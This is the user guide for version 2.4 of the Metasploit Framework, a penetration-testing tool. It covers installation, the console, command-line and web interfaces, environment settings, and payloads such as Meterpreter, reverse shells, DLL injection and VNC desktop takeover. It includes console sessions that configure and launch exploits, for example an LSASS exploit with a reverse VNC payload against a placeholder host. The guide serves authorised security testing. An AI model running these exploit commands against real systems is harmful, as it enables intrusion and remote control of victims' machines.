Metasploit Framework User Guide

Version 2.4

http://www.metasploit.com/

Contents

Chapter 1

Introduction

This document is an attempt at a user guide for version 2.4 of the Metasploit Framework, its goal is to provide a basic overview of what the Framework is, how it works, and what you can do with it. As with most open-source projects, correct documentation takes back seat to actual development. If you would like to contribute to the project and have strong technical writing skills, please contact the developers at msfdev[at]metasploit.com.

The Metasploit Framework is a complete environment for writing, testing, and using exploit code. This environment provides a solid platform for penetration-testing, shellcode development, and vulnerability research. The majority of the Framework is composed of object-oriented Perl code, with optional components written in C, assembler, and Python.

The Framework development team is made up of four full-time members and a handful of part-time contributors. Please refer to the Credits exploit module for a complete listing of the people involved in the project. If you have contributed to the project and do not see your name listed there, please let us know.

Chapter 2

Installation

2.1 Installation on Unix

Installing the Framework is as easy as extracting the tarball, changing into the created directory, and executing your preferred user interface. We strongly recommend that you compile and install the Term::ReadLine::Gnu Perl module found in the ”extras” subdirectory. This package enables extensive tab-completion support in the `msfconsole` interface; `msfconsole` is the preferred UI for everyday use. If SSL support is desired, you should install the Net::SSLeay Perl module as well, this can also be found in the ”extras” subdirectory. Please refer to appendices B.1 and B.2 for detailed instructions.

To perform a system-wide installation, we recommend that you copy the entire Framework directory into a globally accessible location (/usr/local/msf) and then create symbolic links from the msf* applications to a directory in the system path (/usr/local/bin). User-specific modules can be placed into $HOME/.msf/<TYPE> directory, where TYPE is one of exploits, payloads, nops, or encoders.

2.2 Installation on Windows

After months of working around ActiveState bugs, we finally decided to scrap it and only support Cygwin Perl. The Metasploit Framework Win32 installer includes a slimmed-down copy of the Cygwin environment, this is the preferred way to use the Framework on the Windows platform. If you would like to install the Framework into an existing Cygwin environment, please refer to appendix C.

2.3 Platform Caveats

While we have tried to support as many platforms as possible, there are some compatibility bugs that have cropped up. The raw socket support is currently non-functional in Cygwin, AIX, HP-UX, and possibly Solaris. This will affect your ability to spoof UDP-based attacks using the `UdpSourceIp` environment variable. Windows users may encounter problems when using the Win32 installer on a system that already has an older version of Cygwin installed.

2.4 Supported Operating Systems

The Framework should run on almost any Unix-based operating system that includes a complete and modern version of the Perl interpreter (5.6+). Every stable version of the Framework is tested with four primary platforms:

- Linux (x86, ppc) (2.4, 2.6)
- Windows NT (4.0, 2000, XP, 2003)
- BSD (Open 3.x, Free 4.6+)
- MacOS X (10.3.x)

The following platforms are known to be problematic:

- Windows 9x (95, 98, ME)
- HP-UX 11i (requires Perl upgrade)

We have received numerous reports of the Framework working on Solaris, AIX, and even the Sharp Zaurus. These systems often require an updated version of Perl in conjunction with the GNU utilities to function correctly.

2.5 Updating the Framework

Starting with version 2.2, the Framework includes the `msfupdate` online update utility. This script can be used to download and install the latest version of the Framework from the metasploit.com web site. It performs per-file updates by comparing local file checksums with those available from the web site. This process occurs across a validated SSL connection, assuming that the Net::SSLeay module has been installed. This is not completely fail-safe and still depends on the security of the metasploit.com web server. To learn more about the `msfupdate` tool, simply execute it with the -h argument.

If you would prefer to not use the online update system, you can still download updated modules and the current stable snapshot package from the metasploit.com web site. At this time, `msfupdate` does not support proxy servers.

Chapter 3

Getting Started

3.1 The Console Interface

After you have installed the Framework, you should verify that everything is working correctly. The easiest way to do this is to execute the `msfconsole` user interface. This interface should display an ascii art logo, print the current version, some module counts, and drop to a "msf¿ " prompt. From this prompt, type `help` to get a list of valid commands. You are currently in the "main" mode; this allows you to list exploits, list payloads, and configure global options. To list all available exploits, type `show exploits`. To obtain more information about a given exploit, type `info module_name`.

The `msfconsole` interface was designed to be flexible and fast. If you enter a command that is not recognized by the console, it will scan the system path to determine if it is a system command. If it finds a match, that command will be executed with the supplied arguments. This allows you to use your standard set of tools without having to leave the console. We highly recommend that you enable tab completion support, this is included by default in the Windows package, but may require software installation for other operating systems. For more information on tab completion, please refer to appendix B.1.

The `msfconsole` startup will similar to the text below.

```
+ -- --=[ msfconsole v2.4 [72 exploits - 75 payloads]

msf >
```

3.2 The Command Line Interface

If you are looking for a way to automate exploit testing, or simply do not want to use an interactive interface, `msfcli` may be the solution. This interface takes a match string as the first parameter, followed by the options in a VAR=VAL format, and finally an action code to specify what should be done. The match string is used to determine which exploit you want to launch; if more than one module matches, a list of possible modules will be provided.

The action code is a single letter; S for summary, O for options, A for advanced options, P for payloads, T for targets, C to try a vulnerability check, and E to exploit. The saved environment will be loaded and used at startup, allowing you to configure convenient default options in the Global environment of `msfconsole`, save them, and take advantage of them in the `msfcli` interface.

3.3 The Web Interface

The `msfweb` interface is a stand-alone web server that allows you to harness the power of the Framework through a browser. This interface is still primitive, but may be useful for team-based penetration testing environments and live demonstrations. If you plan on using `msfweb` on the Windows platform, keep in mind that Cygwin does not support copy-on-write (COW) for forked processes. Since `msfweb` uses the `fork()` call to handle new connections, it will run much slower and use much more memory than if it was running on a comparable Unix system.

Starting with version 2.3, `msfweb` provides an fast multi-user web shell. This system allows you to share your active sessions with other `msfweb` users. The shell console (and the rest of `msfweb`) have been tested with Firefox 1.0, Internet Explorer 6.0, and the Safari/Konqueror browsers.

The `msfweb` interface provides almost no security whatsoever; anyone who can connect to the `msfweb` service could potentially gain access to the underlying system. The default configuration is to listen on the loopback address only, this can be changed by using -a option to specify the local IP address. If you would like to open the server up to the entire network, pass 0.0.0.0 to the -a option of msfweb. Just like the command-line interface, the saved environment is loaded on startup and can affect module settings. We do not recommend that you expose the `msfweb` interface to an untrusted network.

Chapter 4

The Environment

The environment system is a core component of the Framework; the interfaces use it to configure settings, the payloads use it patch opcodes, the exploits use it to define parameters, and it is used internally to pass options between modules. The environment system is logically divided into a Global and Temporary environment.

Each exploit maintains its own Temporary environment, which overrides the Global environment. When you select an exploit via the `use` command, the Temporary environment for that exploit is loaded and the previous one is saved off. If you switch back to the previous exploit, the Temporary environment for that exploit is loaded again.

4.1 Global Environment

The Global environment is accessed through the console via the `setg` and `unsetg` commands. The following example shows the Global environment state after a fresh installation. Calling `setg` with no arguments displays the current global environment, calling `unsetg` with no arguments will clear the entire global environment. Default settings are automatically loaded when the interface starts.

```
msf > setg
AlternateExit: 2
DebugLevel: 0
Encoder: Msf::Encoder::PexFnstenvMov
Logging: 0
Nop: Msf::Nop::Pex
```

```
RandomNops: 1
```

4.2 Temporary Environment

The Temporary environment is accessed through the `set` and `unset` commands. This environment only applies to the currently loaded exploit module; switching to another exploit via the `use` command will result in the Temporary environment for the current module being swapped out with the environment of the new module. If no exploit is currently active, the `set` and `unset` commands will not be available. Switching back to the original exploit module will result in the original environment being restored. Inactive Temporary environments are simply stored in memory and activated once their associated module has been selected. The following example shows how the `use` command selects an active exploit and how the `back` command reverts to the main mode.

```
msf > use wins_ms04_045
msf wins_ms04_045 > set
msf wins_ms04_045 > set FOO BAR
FOO -> BAR
msf wins_ms04_045 > set
FOO: BAR
msf wins_ms04_045 > back
msf > use openview_omniback
msf openview_omniback > set RED BLUE
RED -> BLUE
msf openview_omniback > set
RED: BLUE
msf openview_omniback > back
msf > use wins_ms04_045
msf wins_ms04_045 > set
FOO: BAR
msf wins_ms04_045 >
```

4.3 Saved Environment

The `save` command can be used to synchronize the Global and all Temporary environments to disk. The saved environment is written to /.msf/config and will be loaded when any of the user interfaces are executed.

4.4 Environment Efficiency

This split environment system allows you save time during exploit development and penetration testing. Common options between exploits can be defined in the Global environment once and automatically used in any exploit you load thereafter.

The example below shows how the `LPORT`, `LHOST`, and `PAYLOAD` global environments can be used to save time when exploiting a set of Windows-based targets. If this environment was set and a Linux exploit was being used, the Temporary environment (via `set` and `unset`) could be used to override these defaults.

```
msf > setg LPORT 1234
LPORT -> 1234
msf > setg LHOST 192.168.0.10
LHOST -> 192.168.0.10
msf > setg PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf > use apache_chunked_win32
msf apache_chunked_win32(win32_reverse) > show options
Exploit and Payload Options
===========================

  Exploit:    Name      Default    Description
  --------    ------    -------    ------------------
  optional    SSL                  Use SSL
  required    RHOST                The target address
  required    RPORT     80         The target port

  Payload:    Name        Default    Description
  --------    --------    -------    ------------------------------------------
  optional    EXITFUNC     seh            Exit technique: "process", "thread", "seh"
  required    LPORT        123            Local port to receive connection
  required    LHOST        192.168.0.10    Local address to receive connection
```

4.5 Environment Variables

The environment can be used to configure many aspects of the Framework, ranging from user interface settings to specific timeout options in the network socket API. This section describes the most commonly used environment variables.

For a complete listing of all environment variables, please see the file Environment.txt in the ”docs” subdirectory of the Framework.

4.5.1 DebugLevel

This variable is used to control the verbosity of debugging messages provided by the components of the Framework. Setting this value to 0 will prevent debugging messages from being displayed (default). Supported values of DebugLevel range from 0 to 5.

4.5.2 Logging

This variable is used to enable or disable session logging. Session logs are stored in /.msf/logs by default, the directory can be changed used the `LogDir` environment variable. You can use the `msflogdump` utility to view the generated session logs. These logs contain the complete environment for the exploit as well as per-packet timestamps.

4.5.3 LogDir

This option specifies what directory the log files should be stored in. It defaults to /.msf/logs. There are two types of log files, the msfconsole log and the session logs. The msfconsole.log will record each significant action performed by the console interface. Starting with version 2.4, the `msfconsole` interface will record when it was started, stopped, and what system commands were executed. A new session log will be created for each successful exploit attempt.

4.5.4 Encoder

This variable can be set to a comma separated list of preferred Encoders. The Framework will try this list of Encoders first (in order), and then fall through to any remaining Encoders. The Encoders can be listed with `show encoders`.

```
msf> set Encoder ShikataGaNai
```

4.5.5 EncoderDontFallThrough

This option tells the Framework to not fall through to remaining Encoders if the entire preferred list fails. This is useful for keeping your stealthiness on a network and not accidentally falling through to an unwanted Encoder because your preferred Encoder failed.

4.5.6 Nop

This has the same behavior as the Encoder entry above, except it is used to specify the list of preferred Nop generator modules. The Nop generators can be listed with `show nops`.

```
msf> set Nop Opty
```

4.5.7 NopDontFallThrough

This option has the same behavior as `EncoderDontFallThrough`, except it applies to the Nop preferred list.

4.5.8 RandomNops

This option allows randomized nop sleds to be used instead of the standard nop opcode. RandomNops should be stable with all exploit modules included in the Framework and is now enabled by default. Not all architectures and nop generator modules support randomization.

4.5.9 ConnectTimeout

This option allows you to specify the connect timeout for TCP sockets. This value defaults to 10 and may need to be increased to exploit systems across slow links.

4.5.10 RecvTimeout

This option specifies the maximum number of seconds allowed for socket reads that specified the special length value of -1. This may need to be increased if you are exploiting systems over a slow link and running into problems.

4.5.11 RecvTimeoutLoop

This option specifies the maximum number of seconds to wait for data on a socket before returning it. Each time that data is received within this period, the loop starts again. This may need to be increased if you are exploiting systems over a slow link and running into problems.

4.5.12 Proxies

This environment variable forces all TCP sockets to go through the specified proxy chain. The format of the chain type:host:port for each proxy, separated by commas. This release includes support for socks4 and http proxy types.

4.5.13 ForceSSL

This environment variable forces all TCP sockets to negotiate the SSL protocol. This is only useful when an exploit module does not provide the `SSL` user option.

4.5.14 UdpSourceIp

This environment variable can be used to control the source IP address from which all UDP datagrams are sent. This option is only effective when used with a UDP-based exploit (MSSQL, ISS, etc). This option depends on being able to open a raw socket; something that is normally only available to the root or administrative user. As of the 2.2 release, this feature is not working with the Cygwin environment.

4.5.15 NinjaHost

This environment variable can be used redirect all payload connections to a socketNinja server. This value should be the IP address of the system running the socketNinja console (perl sockectNinja.pl -d).

4.5.16 NinjaPort

This environment variable can be used with the NinjaHost variable to redirect payload connections to a system running the socketNinja server. This value should be the port number of the socketNinja console.

4.5.17 NinjaDontKill

This option can be used to exploit multiple systems at once and is particular useful when firing a UDP-based exploit at a network broadcast address.

4.5.18 AlternateExit

This option is a workaround for a bug found in certain versions of the Perl interpreter. If the `msfconsole` interface crashes with a segmentation fault on exit, try setting the value of this variable to 2.

Chapter 5

Using the Framework

5.1 Choosing an Exploit Module

From the `msfconsole` interface, you may view the available exploit modules through with the `show exploits` command. Select an exploit with the `use` command, specifying the short module name as the argument. The `info` command can be used to view information about a specific exploit module.

5.2 Configuring the Active Exploit

Once you have selected an exploit, the next step is to determine what options it requires. This can be accomplished with the `show options` command. Most exploits use `RHOST` to specify the target address and `RPORT` to set the target port. Use the `set` command to configure the appropriate values for all required options. If you have any questions about what a given option does, refer to the module source code. Advanced options are available with some exploit modules, these can be viewed with the `show advanced` command.

5.3 Verifying the Exploit Options

The `check` command can be used to determine whether the target system is vulnerable to the active exploit module. This is a quick way to verify that all options have been correctly set and that the target is actually vulnerable to exploitation. Not all exploit modules have implemented the check functionality. In many cases it is nearly impossible to determine whether a service is vulnerable without actually exploiting it. A `check` command should never result in the target system crashing or becoming unavailable. Many modules simply display version information and expect you to analyze it before proceeding.

5.4 Selecting a Target

Many exploits will require the `TARGET` environment variable to be set to the index number of the desired target. The `show targets` command will list all targets provided by the exploit module. Many exploits will default to a brute-force target type; this may not be desirable in all situations.

5.5 Selecting the Payload

The payload is the actual code that will run on the target system after a successful exploit attempt. Use the `show payloads` command to list all payloads compatible with the current exploit. If you are behind a firewall, you may want to use a bind shell payload, if your target is behind one and you are not, you would use a reverse connect payload. You can use the `info payload_name` command to view detailed information about a given payload.

Once you have decided on a payload, use the `set` command to specify the payload module name as the value for the `PAYLOAD` environment variable. Once the payload has been set, use the `show options` command to display all available payload options. Most payloads have at least one required option. Advanced options are provided by a handful of payload options; use the `show advanced` command to view these. Please keep in mind that you will be allowed to select any payload compatible with that exploit, even if it not compatible with your currently selected `TARGET`. For example, if you select a Linux target, yet choose a BSD payload, you should not expect the exploit to work.

5.6 Launching the Exploit

The `exploit` command will launch the attack. If everything went well, your payload will execute and potentially provide you with an interactive command shell on the exploited system.

Chapter 6

Advanced Features

This section covers some of the advanced features that can be found in this release. These features can be used in any compatible exploit and highlight the strength of developing attack code using an exploit framework.

6.1 The Meterpreter

The Meterpreter is an advanced multi-function payload that can be dynamically extended at run-time. In normal terms, this means that it provides you with a basic shell and allows you to add new features to it as needed. Please refer to the Meterpreter documentation for an in-depth description of how it works and what you can do with it. The Meterpreter manual can be found in the ”docs” subdirectory of the Framework as well as online at:

http://metasploit.com/projects/Framework/docs/meterpreter.pdf

6.2 PassiveX Payloads

Starting with the 2.4 release, the Metasploit Framework can be used to load arbitrary ActiveX controls into a target process. This feature works by patching the registry of the target system and causing the exploited process to launch internet explorer with a URL pointing back to the Framework. The Framework starts up a simple web server that accepts the request and sends back a web page instructing it to load an ActiveX component. The exploited system then downloads, registers, and executes the ActiveX.

The basic PassiveX payload, `win32_passivex`, supports any custom ActiveX that you develop. In addition to the base payload, three other PassiveX modules are included in the Framework. These can be used to execute a command shell, load the Meterpreter, or inject a VNC service. When any of these three payloads are used, the PassiveX object will emulate a TCP connection through HTTP GET and POST requests. This allows you to interact with a command shell, VNC, or the Meterpreter using nothing but standard HTTP traffic.

Since PassiveX uses the Internet Explorer browser to load the ActiveX component, it will pass right through an outbound web proxy, using whatever system and authentication settings that have already been configured. The PassiveX system included in 2.4 will only work when the target system has Internet Explorer 6.0 or newer installed. Future versions may work around this limitation. For more information about PassiveX, please see the Uninformed Journal article titled "Post-Exploitation on Windows using ActiveX Controls", located online at:

http://www.uninformed.org/?v=1&a=3&t=pdf

6.3 InlineEgg Python Payloads

The InlineEgg library is a Python class for dynamically generating small assembly language programs. The most common use of this library is to quickly create advanced exploit payloads. This library was developed by Gera for use with Core ST's Impact product. Core has released this library to the public under a non-commercial license.

The Metasploit Framework supports InlineEgg payloads through the External-Payload module interface; this allows transparent support if the Python scripting language is installed. To enable the InlineEgg payloads, the `EnablePython` environment variable must be set to non-zero value. This change was made version 2.2 to speed up the module reload process. Starting with the 2.4 release, the Python interpreter is no longer included in the Windows installer.

This release includes InlineEgg examples for Linux, BSD, and Windows. The Linux examples are `linux_ia32_reverse_ie`, `linux_ia32_bind_ie`, and `linux_ia32_reverse_xor`. These payloads can be selected and used in the same way as any other payload. The payload contents are dynamically generated by the Python scripts in the payloads/external subdirectory. The BSD payloads function almost exactly the same as their Linux counterparts.

The Windows InlineEgg example is named win32_reverse_stg_ie and works in a slightly different fashion. This payload has an option named `IEGG`, this option specifies the path to the InlineEgg Python script that contains your final payload. This is a staged payload; the first stage is a standard reverse connect, the second stage sends the address of GetProcAddress and LoadLibraryA over the connection, and the third stage is generated locally and sent across the network. An example InlineEgg script is included in the payloads/external subdirectory, called `win32_stg_winexec.py`. For more information about InlineEgg, please see Gera's web site, located at:

http://community.corest.com/~gera/ProgrammingPearls/InlineEgg.html

6.4 Impurity ELF Injection

Impurity was a concept developed by Alexander Cuttergo that described a method of loading and executing a new ELF executable in-memory. This technique allows for arbitrarily complex payloads to be written in standard C, the only requirement is a special loader payload. The Framework includes a Linux loader for Impurity executables, the payload is named `linux_ia32_reverse_impurity` and requires the PEXEC option to be set to the path of the executable.

Impurity executables must be compiled in a specific way, please see the documentation in the src/impurity subdirectory for more information about this process. The QUICKSTART.impurity file in the "docs" subdirectory steps through the process of using Impurity to execute the "shelldemo" application inside another process. The "shelldemo" allows you to access file handles, change privileges and file system permissions, break out of chroot, and more! The original mailing list post is archived online at:

http://archives.neohapsis.com/archives/vuln-dev/2003-q4/0006.html

6.5 Chainable Proxies

The Framework includes transparent support for TCP proxies, this release has handler routines for HTTP CONNECT and SOCKSv4 servers. To use a proxy with a given exploit, the `Proxies` environment variable needs to be set. The value of this variable is a comma-separated list of proxy servers, where each server is in the format type:host:port. The type values are 'http' for HTTP CONNECT and 'socks4' for SOCKS v4. The proxy chain can be of any length; testing shows that the system was stable with over five hundred SOCKS and HTTP proxies configured randomly in a chain. The proxy chain only masks the exploit request, the automatic connection to the payload is not relayed through the proxy chain at this time.

6.6 Win32 UploadExec Payloads

Although Unix systems normally include all of the tools you need for post-exploitation, Windows systems are notoriously lacking in a decent command line toolkit. The UploadExec payloads included in this release allow you to simultaneously exploit a Windows system, upload your favorite tool, and execute it, all across the payload socket connection. When combined with a self-extracting rootkit or scripting language interpreter (perl.exe!), this can be a very powerful feature. The Meterpreter payloads are usually much better suited for penetration testing tasks.

6.7 Win32 DLL Injection Payloads

Starting with version 2.2, the Framework includes a staged payload that is capable of injecting a custom DLL into memory in combination with any Win32 exploit. This payload will not result in any files being written to disk; the DLL is loaded directly into memory and is started as a new thread in the exploited process. This payload was developed by Jarkko Turkulainen and Matt Miller and is one of the most powerful post-exploitation techniques developed to date. To create a DLL which can be used with this payload, use the development environment of choice and build a standard Win32 DLL. This DLL should export an function called Init which takes a single argument, an integer value which contains the socket descriptor of the payload connection. The Init function becomes the entry point for the new thread in the exploited process. When processing is complete, it should return and allow the loader stub to exit the process according to the `EXITFUNC` environment variable. If you would like to write your own DLL payloads, refer to the src/shellcode/win32/dllinject directory in the Framework.

6.8 VNC Server DLL Injection

One of the first DLL injection payloads developed was a customized VNC server. This server was written by Matt Miller and based on the RealVNC source code. Additional modifications were made to allow the server to work with exploited, non-interactive network services. This payload allows you to immediately access the desktop of an exploited system using almost any Win32 exploit. The DLL is loaded into the remote process using any of the staged loader systems, started up as a new thread in the exploited process, and the listens for VNC client requests on the same socket used to load the DLL. The Framework simply listens on a local socket for a VNC client and proxies data across the payload connection to the server.

The VNC server will attempt to obtain full access to the current interactive desktop. If the first attempt fails, it will call RevertToSelf() and then try the attempt again. If it still fails to obtain full access to this desktop, it will fall back to a read-only mode. In read-only mode, the Framework user can view the contents of the desktop, but not interact with it. If full access was obtained, the VNC server will spawn a command shell on the desktop with the privileges of the exploited service. This is useful in situations where an unprivileged user is on the interactive desktop, but the exploited service is running with System privileges.

If there is no interactive user logged into the system or the screen has been locked, the command shell can be used to launch explorer.exe anyways. This can result in some very confused users when the logon screen also has a start menu. If the interactive desktop is changed, either through someone logging into the system or locking the screen, the VNC server will disconnect the client. Future versions may attempt to follow a desktop switch.

To use the VNC injection payloads, specify the full path to the VNC server as the value of the `DLL` option. The VNC server can be found in the data subdirectory of the Framework installation and is named 'vncdll.dll'. The source code of the DLL can be found in the src/shellcode/win32/dllinject/vncinject subdirectory of the Framework installation.

As of the 2.4 release, there are a few situations where the VNC inject payload will simply not work. These problems are often cause by strange execution environments or other issues related to a specific exploit or injection method. These issues will be addressed as time permits:

- The cabrightstor_uniagent exploit will cause the VNC payload to crash, possibly due to a strange heap state.
- The executables generated by `msfpayload`'s 'X' option are not will cause the VNC payload to crash after spawning the command shell.

```
msf > use lsass_ms04_011
msf lsass_ms04_011 > set RHOST some.vuln.host
RHOST -> some.vuln.host
msf lsass_ms04_011 > set PAYLOAD win32_reverse_vncinject
PAYLOAD -> win32_reverse_vncinject
msf lsass_ms04_011(win32_reverse_vncinject) > set LHOST your.own.ip
LHOST -> your.own.ip
msf lsass_ms04_011(win32_reverse_vncinject) > set LPORT 4321
LPORT -> 4321
msf lsass_ms04_011(win32_reverse_vncinject) > exploit
```

If the "vncviewer" application is in your path and the AUTOVNC option has been set (it is by default), the Framework will automatically open the VNC desktop. If you would like to connect to the desktop manually, `set AUTOVNC 0`, then use vncviewer to connect to 127.0.0.1 on port 5900.

Chapter 7

More Information

7.1 Web Site

The metasploit.com web site is the first place to check for updated modules and new releases. This web site also hosts the Opcode Database and a decent shellcode archive.

7.2 Mailing List

You can subscribe to the Metasploit Framework mailing list by sending a blank email to framework-subscribe[at]metasploit.com. This is the preferred way to submit bugs, suggest new features, and discuss the Framework with other users. The mailing list archive can be found online at: http://metasploit.com/archive/framework/threads.html

7.3 Developers

If you are interested in helping out with the Framework project, or have any questions related to module development, please contact the development team.
The Metasploit Framework development team can be reached at msfdev[at]metasploit.com.

Appendix A

Security

We recommend that you use a robust, secure terminal emulator when utilizing the command-line interfaces. Examples include `konsole`, `gnome-terminal`, and recent versions of `PuTTY`.

We do not recommend that the `msfweb` interface be used on untrusted networks. Actually, we don't recommend that you use msfweb at all, it is more of a proof-of-concept than a real tool.

A.1 Console Interfaces

The console does not perform terminal escape sequence filtering, this could allow a hostile network service to do Bad Things (TM) to your terminal emulator when the exploit or check commands are used. We suggest that you use a terminal emulator which limits the functionality available through hostile escape sequences. Please see the Terminal Emulator Security Issues paper below for more information on this topic:

http://www.digitaldefense.net/labs/papers/Termulation.txt

A.2 Web Interface

The `msfweb` interface does not adequately filter certain arguments, allowing a hostile web site operator to perform a cross-site scripting attack on the `msfweb` user.

The `msfweb` interface does not provide any access control functionality. If the service is configured to listen on a different interface (default is loopback), a malicious attacker could abuse this to exploit remote systems and potentially access local files. The local file access attack can be accomplished by malicious arguments to the payloads which use a local file as input and then exploiting a (fake) service to obtain the file contents.

Appendix B

General Tips

B.1 Tab Completion

To enable tab-completion on standard Unix systems, simply install the Term::ReadLine::Gnu perl module. This module can be found at http://search.cpan.org as well as the ”extras” subdirectory of this package. To install this module:

```
# cd extras
# tar -zxf Term-ReadLine-Gnu-1.14.tar.gz
# cd Term-ReadLine-Gnu-1.14
# perl Makefile.PL && make && make install
# cd .. && rm -rf Term-ReadLine-Gnu-1.14
```

If you are using Mac OS X, you will need to install the GNU readline package to enable tab completion.

B.2 Secure Socket Layer

To enable SSL support, simply install the Net::SSLeay perl module, This module can be found at http://search.cpan.org as well as the ”extras” subdirectory of this package. To install this module:

```
# cd extras
# tar -zxf Net_SSLeay.pm-1.23.tar.gz
# cd Net_SSLeay.pm-1.23
# perl Makefile.PL && make && make install
# cd .. && rm -rf Net_SSLeay.pm-1.23
```

To specify SSL mode for any given exploit, just set the ”SSL” option to any non-false value (1, True, Yes, etc).

Appendix C

Cygwin

This chapter provides a brief description of how to install the Metasploit Framework in the Cygwin environment. Normal users should use pre-configured Win32 installer from the metasploit.com web site.

C.1 Installation

Cygwin is freely available from http://www.cygin.com. The front page of this site contains a link to a Setup.exe for the latest version. Simply download this file and execute it locally. When the installer starts, it will ask you whether you want to install from the Internet or use a local directory. Select the option to install from the Internet and specify the server to use, the directory to install it under, and where to put the temporary files.

To support tab completion and SSL sockets, make sure you have the following components selected:

- gcc
- make
- rebase
- libreadline
- openssl-devel

If you would like to use the InlineEgg payloads, make sure that you install a recent version of Python as well.

C.2 Configuration

Now that Cygwin is installed, you should install the perl modules in the ”extras” subdirectory of this package. This can usually be accomplished by extracting each package via tar -zxf [file], changing into the directory, typing perl Makefile.PL, make, and make install. Tab completion makes the `msfconsole` interface extremely efficient.

If you have Visual Studio installed, you may need to ”unset LIBS” before trying to compile anything, the double-quotes in the path will break certain Makefiles.

C.3 Rebasing

Once you have compiled and installed all required modules, you MUST use the ”rebase” utility before you can use the framework. If you try to load a shared library (compiled perl module) into your application before rebasing it, it may puke and die with an error like the following:

```
C:\cygwin\bin\cygperl.exe: *** unable to remap [...]
```

You can obtain the latest version of it from: http://www.tishler.net/jason/software/rebase/.

The ”rebaseall” application will automatically rebase the system libraries, you should run this at least once, especially if you plan on using InlineEgg payloads. To rebase the Net::SSLeay module, perform the following steps:

```
# 1: Locate the DLL file inside the perl tree
$ find /lib/perl5 -name 'SSLeay.dll'

# 2: Change the permission of the DLL to 755
$ chmod 755 /lib/perl5/path/to/SSLeay.dll

# 3: Run the rebase utility on the DLL
$ rebase -d -b 0x4d455441 /lib/perl5/path/to/SSLeay.dll
```

C.4 Tips

You can access your windows drives from the Cygwin shell through the /cygdrive directory. This directory is not normally visible. If you install the framework in C:\Framework, you can make a link to it from inside your Cygwin home directory with the following command:

```
$ ln -sf /cydrive/c/Framework framework
```

Appendix D

Licenses

The Metasploit Exploit Framework source code is dual-licensed under the GNU General Public License v2.0 and the Artistic License. The package is Copyright (c) 2003-2005 H D Moore and spoonm, contributions from others and their individual copyrights are marked at the top of each file. Copies of the GPL and Artistic licenses can be found in the "docs" subdirectory, named "COPYING.GNU" and "COPYING.Artistic" respectively.

The exploit modules included in this package are individually licensed and Copyright (c) by their respective authors. Please see the Author field of each module to determine what license is specified. If you need a module under a different license (GPL module and you want to include it in non-GPL code), please contact the author directly.

The payload modules included in this package are individually licensed and Copyright (c) by their respective authors. Please see the Author field of each module to determine what license is specified. Some of the assembly payloads were obtained from public resources that did not specify the terms of license. These payloads are being treated as public domain and will be removed or rewritten if a dispute arises.

The Meterpreter is dual-licensed under the GNU General Public License v2.0 and the Artistic License. The Meterpreter component is Copyright (c) 2004-2005 Matt Miller. Please contact Matt Miller directly for questions regarding the license and licensing of the Meterpreter.

The InlineEgg library and some of the examples are Copyright (c) 2002, 2003 Core Security Technologies, Core SDI Inc and under a non-commercial license. Please see the COPYING.InlineEgg file in the "docs" subdirectory for more information. This code may not be included or referenced in any form by a commercial derivative of the Metasploit Exploit Framework.

The Impurity components are licensed under the GNU General Public License v2.0 and Copyright (c) 2003 Alexander E. Cuttergo. Modifications have been made from the original version and the additional components are Copyright (c) 2003 H D Moore / METASPLOIT.COM. The assembly payloads and handler routines that are incorporated into the Metasploit Exploit Framework are compatible with, but not derivative works of, the original Impurity release.